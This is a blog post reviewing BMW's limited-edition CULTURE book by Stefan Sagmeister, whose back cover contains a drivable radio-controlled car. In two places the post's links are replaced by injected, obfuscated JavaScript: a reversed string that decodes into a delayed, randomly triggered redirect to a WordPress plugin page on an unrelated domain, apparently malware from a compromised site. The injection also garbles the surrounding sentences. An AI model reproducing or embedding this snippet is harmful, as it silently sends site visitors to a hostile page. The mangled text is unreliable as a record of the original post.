BMW Culture Book

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You may remember a couple of weeks back we $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117842/culture-by-stefan-sagmeister-bmw/” target=”_blank”>posted up a story on the new book from BMW entitled CULTURE. The world-renowned graphic designer Stefan Sagmeister was asked by the BMW Group to produce a book that celebrated 40 years of the brand’s involvement with ‘culture’ in all its various forms.

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Well, we’re  lucky enough to have one of these exclusive limited edition books here at the C&P loft. Just 1488 of these books exist, and we have #1099. It’s even been signed by Mr Sagemeister himself – and yes, whilst that signature doesn’t exactly scream ‘Stefan Sagmeister’ it is his scrawl, as the video in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20117842/culture-by-stefan-sagmeister-bmw/” target=”_blank”>original post proves.

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The book covers a number of areas of culture that BMW has been involved in from contemporary art, music, architecture & design plus the company culture within BMW itself. Naturally, there’s a big section devoted to BMW’s Art Cars including Olafur Eliasson’s innovative 2007 art car based on the H2R concept.

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But what really makes this book stand out is the way it moves. And we don’t mean in any artsy fartsy deep and meaningful way, but in that you can actually drive this book around! Embedded into the back cover is the mechanics from a 1:24 scale radio controlled BMW 6-series Coupe.

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It’s even rear-wheel drive – just like all true BMWs should be. Naturally, it’s proving to be an absolute hoot in the office – though we might need to get some fresh batteries to make it perform as a BMW should.

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So there you have it. CULTURE by Stefan Sagmeister – the first book review on C&P. If any other manufacturers have some cool reading material they’d like to pass our way, we’d be more than happy to take a look at it. Though BMW has set the bar pretty high, so we’re hoping the next one has an in-built jetpack!

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